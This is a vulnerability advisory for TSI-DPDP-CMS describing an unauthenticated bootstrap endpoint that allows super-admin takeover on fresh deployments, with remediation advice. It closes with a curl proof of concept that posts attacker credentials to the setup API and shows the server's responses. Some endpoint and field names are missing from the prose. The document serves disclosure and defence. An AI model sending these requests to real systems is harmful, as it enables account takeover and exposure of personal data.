TSI-DPDP-CMS unauthenticated bootstrap endpoint: pre-auth super-admin takeover on fresh deploy

TSI-DPDP-CMS Unauthenticated Super Administrator Bootstrap Endpoint Vulnerability Summary Vulnerability Overview Vulnerability Type: Critical lack of authentication (CWE-306) Core Issue: The super administrator creation endpoint and the setup wizard page are both accessible without any authentication. Mechanism: The endpoint accepts a JSON payload ( , containing , , and fields), and the server directly creates an administrator account without requiring any prior credentials. Sole Mitigation: The only safeguard is a state check—if the system is already initialized, it returns an HTTP 500 error ("System is already configured"). This check is not an authentication control and becomes completely ineffective during fresh deployments, redeployments, or database resets. Persistent Exposure: After initialization is complete, the setup wizard page remains publicly accessible and fully functional, allowing any user visiting the URL to see a usable form. Impact Scope During Fresh/Reset Deployments: 1. An attacker can call with their own credentials before legitimate operators complete the setup. 2. A super administrator account is created using the attacker's email address and password. 3. After logging in, the attacker gains full control over the entire DPDP CMS—including all data catalogs, consent records, ROPA entries, audit reports, and data principle records. In Initialized Deployments: The setup page and endpoint remain publicly exposed, leaking the bootstrap API interface, creating residual risk during database resets (such as DB migrations, backup restorations, or infrastructure reconfigurations). Regulatory Risk: Successfully taking over the administrator account means the attacker can control personal data governed under India's DPDP Act 2023, constituting a reportable data breach (per Section 8(6)). Remediation > Note: No direct remediation was provided in the source material; the following are recommended measures based on the vulnerability mechanism: 1. Add Authentication: Implement an authentication mechanism for the endpoint (e.g., IP allowlisting, one-time tokens, or pre-shared keys). 2. Disable Endpoint Post-Initialization: Once system initialization is complete, disable or remove the bootstrap endpoint and the setup wizard page to prevent persistent exposure. 3. Database Reset Protection: Automatically regenerate a one-time bootstrap token after a database reset to prevent attackers from creating accounts during the reset window. 4. Access Control: Apply access controls to ; after initialization, return a 404 status code or redirect to the login page. POC / Exploitation Code ```bash 1. Setup wizard — accessible without credentials curl -s -o /dev/null -w "%{http_code}" http://TARGET:8080/console/setup/init.html Output: 200 2. Bootstrap API — accessible and processes requests, creating an admin on fresh deployments curl -si -X POST http://TARGET_HOST:8080/api/v1/bootstrap/setup \ -H "Content-Type: application/json" \ -d '{ "func": "initial_setup", "email": "attacker@evil.com", "name": "Attacker", "password": "Attack3rP@ss123" }' Response from an already-configured system (confirming endpoint reachability, no auth challenge): HTTP/1.1 500 Server Error {"error":"Setup Failure","message":"System is already configured. Cannot run initial setup."} Response from a fresh/reset deployment (complete takeover): HTTP/1.1 200 OK {"success":true,"message":"Super Administrator account created successfully."} The setup directory listing is also exposed: curl http://TARGET_HOST:8080/console/setup/ HTTP 200 - directory listing, init.html is visible

Goal Reached Thanks to every supporter — we hit 100%!

TSI-DPDP-CMS unauthenticated bootstrap endpoint: pre-auth super-admin takeover on fresh deploy

More from this source